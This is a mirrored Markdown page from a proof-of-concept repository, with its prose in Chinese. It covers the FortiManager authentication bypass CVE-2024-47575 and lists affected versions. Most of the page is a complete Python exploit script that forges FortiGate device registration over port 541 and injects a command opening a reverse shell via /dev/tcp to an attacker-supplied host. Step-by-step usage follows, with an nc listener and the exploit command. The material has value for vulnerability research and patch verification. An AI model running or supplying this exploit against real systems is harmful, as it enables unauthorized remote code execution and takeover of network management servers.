mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
257 lines
6.2 KiB
Markdown
257 lines
6.2 KiB
Markdown
![]() |
# FortiManager身份认证绕过漏洞(CVE-2024-47575)
|
|||
|
|
|||
|
**Fortinet FortiManager 身份认证绕过漏洞(CVE-2024-47575)**,未经身份验证的远程攻击者可以使用有效的 FortiGate 证书在 FortiManager 中注册未经授权的设备。成功利用漏洞后攻击者将能够查看和修改文件(例如配置文件)以获取敏感信息,并能够管理其他设备执行任意代码或命令。
|
|||
|
|
|||
|
## **影响版本**
|
|||
|
|
|||
|
7.6.0 <= FortiManager 7.6.* <= 7.6.0
|
|||
|
|
|||
|
7.4.0 <= FortiManager 7.4.* <= 7.4.4
|
|||
|
|
|||
|
7.2.0 <= FortiManager 7.2.* <= 7.2.7
|
|||
|
|
|||
|
7.0.0 <= FortiManager 7.0.* <= 7.0.12
|
|||
|
|
|||
|
6.4.0 <= FortiManager 6.4.* <= 6.4.14
|
|||
|
|
|||
|
6.2.0 <= FortiManager 6.2.* <= 6.2.12
|
|||
|
|
|||
|
7.4.1 <= FortiManager Cloud 7.4.* <= 7.4.4
|
|||
|
|
|||
|
7.2.1 <= FortiManager Cloud 7.2.* <= 7.2.7
|
|||
|
|
|||
|
7.0.1 <= FortiManager Cloud 7.0.* <= 7.0.12
|
|||
|
|
|||
|
FortiManager Cloud 6.4.*
|
|||
|
|
|||
|
## poc
|
|||
|
|
|||
|
脚本来源 https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
|
|||
|
|
|||
|
```python
|
|||
|
import socket
|
|||
|
import struct
|
|||
|
import ssl
|
|||
|
import argparse
|
|||
|
import random
|
|||
|
from time import sleep
|
|||
|
|
|||
|
|
|||
|
|
|||
|
banner = """ __ ___ ___________
|
|||
|
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
|
|||
|
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
|
|||
|
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
|
|||
|
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
|
|||
|
\\/ \\/ \\/
|
|||
|
|
|||
|
CVE-2024-47575.py
|
|||
|
(*) FortiManager Unauthenticated Remote Code Execution (CVE-2024-47575) exploit by watchTowr
|
|||
|
|
|||
|
- Sina Kheirkhah (@SinSinology), watchTowr (sina@watchTowr.com)
|
|||
|
|
|||
|
CVEs: [CVE-2024-47575]
|
|||
|
"""
|
|||
|
|
|||
|
|
|||
|
print(banner)
|
|||
|
parser = argparse.ArgumentParser(description='FortiManager CVE-2024-47575 exploit')
|
|||
|
parser.add_argument('--target', type=str, help='Target IP', required=True)
|
|||
|
parser.add_argument('--lhost', type=str, help='attacker IP', required=False, default='empty')
|
|||
|
parser.add_argument('--lport', type=str, help='attacker PORT', required=False, default='empty')
|
|||
|
parser.add_argument('--action', type=str, choices=['check', 'exploit'], help='Choose an action: "check" or "exploit"', required=True)
|
|||
|
args = parser.parse_args()
|
|||
|
|
|||
|
|
|||
|
|
|||
|
if(args.action == "exploit"):
|
|||
|
if(args.lhost == 'empty' or args.lport == 'empty'):
|
|||
|
print("[ERROR] you got an error, because you chose the 'exploit' mode but didnt provide the '--lhost and --lport'")
|
|||
|
exit(1)
|
|||
|
|
|||
|
|
|||
|
# print("[DEBUG] go and run the following command on your fortimanager -> tail -f /var/log/fdssvrd.log")
|
|||
|
# input("press enter to continue")
|
|||
|
|
|||
|
|
|||
|
request_getip = b"""get ip
|
|||
|
serialno=FGVMEVWG8YMT3R63
|
|||
|
mgmtid=00000000-0000-0000-0000-000000000000
|
|||
|
platform=FortiGate-VM64
|
|||
|
fos_ver=700
|
|||
|
minor=2
|
|||
|
patch=2
|
|||
|
build=1255
|
|||
|
branch=1255
|
|||
|
maxvdom=2
|
|||
|
fg_ip=192.168.1.53
|
|||
|
hostname=FGVMEVWG8YMT3R63
|
|||
|
harddisk=yes
|
|||
|
biover=04000002
|
|||
|
harddisk_size=30720
|
|||
|
logdisk_size=30235
|
|||
|
mgmt_mode=normal
|
|||
|
enc_flags=0
|
|||
|
first_fmgid=
|
|||
|
probe_mode=yes
|
|||
|
vdom=root
|
|||
|
intf=port1
|
|||
|
\0""".replace(b"\n",b"\r\n")
|
|||
|
|
|||
|
|
|||
|
|
|||
|
request_auth=b"""get auth
|
|||
|
serialno=FGVMEVWG8YMT3R63
|
|||
|
mgmtid=00000000-0000-0000-0000-000000000000
|
|||
|
platform=FortiGate-60E
|
|||
|
fos_ver=700
|
|||
|
minor=2
|
|||
|
patch=4
|
|||
|
build=1396
|
|||
|
branch=1396
|
|||
|
maxvdom=2
|
|||
|
fg_ip=192.168.1.53
|
|||
|
hostname=FortiGate
|
|||
|
harddisk=yes
|
|||
|
biover=04000002
|
|||
|
harddisk_size=30720
|
|||
|
logdisk_size=30107
|
|||
|
mgmt_mode=normal
|
|||
|
enc_flags=0
|
|||
|
mgmtip=192.168.1.53
|
|||
|
mgmtport=443
|
|||
|
\0""".replace(b"\n",b"\r\n")
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
request_file_exchange = b"""get file_exchange
|
|||
|
localid=REPLACE_LOCAL_ID
|
|||
|
chan_window_sz=32768
|
|||
|
deflate=gzip
|
|||
|
file_exch_cmd=put_json_cmd
|
|||
|
|
|||
|
\0""".replace(b"\n", b"\r\n").replace(b"REPLACE_LOCAL_ID", str(random.randint(100,999)).encode())
|
|||
|
|
|||
|
json_payload = b"""{
|
|||
|
"method": "exec",
|
|||
|
"id": 1,
|
|||
|
"params": [
|
|||
|
{
|
|||
|
"url": "um/som/export",
|
|||
|
"data": {
|
|||
|
"file":"`sh -i >& /dev/tcp/REPLACE_LHOST/REPLACE_LPORT 0>&1`"
|
|||
|
}
|
|||
|
}
|
|||
|
]
|
|||
|
}""".replace(b"REPLACE_LHOST", args.lhost.encode()).replace(b"REPLACE_LPORT", args.lport.encode())
|
|||
|
request_channel_open = b"""channel
|
|||
|
remoteid=REPLACE_REMOTE_ID
|
|||
|
|
|||
|
\0""".replace(b"\n", b"\r\n")
|
|||
|
|
|||
|
request_channel_open += str(len(json_payload)).encode()
|
|||
|
request_channel_open += b"\n"
|
|||
|
request_channel_open += json_payload
|
|||
|
request_channel_open += b"0\n"
|
|||
|
|
|||
|
|
|||
|
request_channel_close = b"""channel
|
|||
|
action=close
|
|||
|
remoteid=REPLACE_REMOTE_ID
|
|||
|
|
|||
|
\0""".replace(b"\n", b"\r\n")
|
|||
|
|
|||
|
|
|||
|
def sendmsg(socket, request, recv=True):
|
|||
|
message=struct.pack(">II", 0x36e01100, len(request)+8)+request
|
|||
|
socket.send(message)
|
|||
|
if(not recv):
|
|||
|
return
|
|||
|
hdr=socket.read(8)
|
|||
|
if len(hdr)!=8:
|
|||
|
return hdr
|
|||
|
magic, size=struct.unpack(">II", socket.read(8))
|
|||
|
return socket.read(size)
|
|||
|
|
|||
|
|
|||
|
def create_ssl_sock():
|
|||
|
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
|
|||
|
context.load_cert_chain(certfile="w00t_cert.bin", keyfile="w00t_key.bin") # Load the certificate and key
|
|||
|
context.check_hostname = False
|
|||
|
context.verify_mode = ssl.CERT_NONE
|
|||
|
|
|||
|
s = socket.create_connection(host, 30)
|
|||
|
ssl_sock = context.wrap_socket(s)
|
|||
|
return ssl_sock
|
|||
|
|
|||
|
def print_n_sleep(msg, s=0.4):
|
|||
|
print(msg)
|
|||
|
sleep(s)
|
|||
|
|
|||
|
host = (args.target, 541)
|
|||
|
|
|||
|
ssl_sock = create_ssl_sock()
|
|||
|
|
|||
|
|
|||
|
response= sendmsg(ssl_sock, request_getip)
|
|||
|
# print(response)
|
|||
|
|
|||
|
|
|||
|
|
|||
|
response= sendmsg(ssl_sock, request_auth)
|
|||
|
# print(response)
|
|||
|
|
|||
|
|
|||
|
|
|||
|
response = sendmsg(ssl_sock, request_file_exchange)
|
|||
|
remote_id = response.decode().split('\r\n')[1].split('=')[1].strip()
|
|||
|
|
|||
|
if(remote_id !=None):
|
|||
|
print(f"[VULN] Target is Vulnerable")
|
|||
|
else:
|
|||
|
print(f"[SAFE] Target is Safe")
|
|||
|
exit(1)
|
|||
|
|
|||
|
if(args.action == "check"):
|
|||
|
exit(1)
|
|||
|
|
|||
|
|
|||
|
request_channel_open = request_channel_open.replace(b"REPLACE_REMOTE_ID", remote_id.encode())
|
|||
|
response = sendmsg(ssl_sock, request_channel_open, False)
|
|||
|
|
|||
|
# print(response)
|
|||
|
|
|||
|
|
|||
|
|
|||
|
request_channel_close = request_channel_close.replace(b"REPLACE_REMOTE_ID", remote_id.encode())
|
|||
|
|
|||
|
response = sendmsg(ssl_sock, request_channel_close, True)
|
|||
|
# print(response)
|
|||
|
|
|||
|
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
首先,建立您的 ncat 会话:
|
|||
|
|
|||
|
```
|
|||
|
nc -lvvnp 80
|
|||
|
```
|
|||
|
|
|||
|
然后,执行我们的exp:
|
|||
|
|
|||
|
```
|
|||
|
python3 CVE-2024-47575.py --target 192.168.1.110 --lhost 192.168.1.53 --lport 80 --action exploit
|
|||
|
```
|
|||
|
|
|||
|
要单独检查漏洞,请使用以下选项:
|
|||
|
|
|||
|
```
|
|||
|
python3 CVE-2024-47575.py --target 192.168.1.110 --action check
|
|||
|
```
|
|||
|
|
|||
|
## 漏洞来源
|
|||
|
|
|||
|
- https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
|
|||
|
- https://labs.watchtowr.com/hop-skip-fortijump-fortijumphigher-cve-2024-23113-cve-2024-47575/
|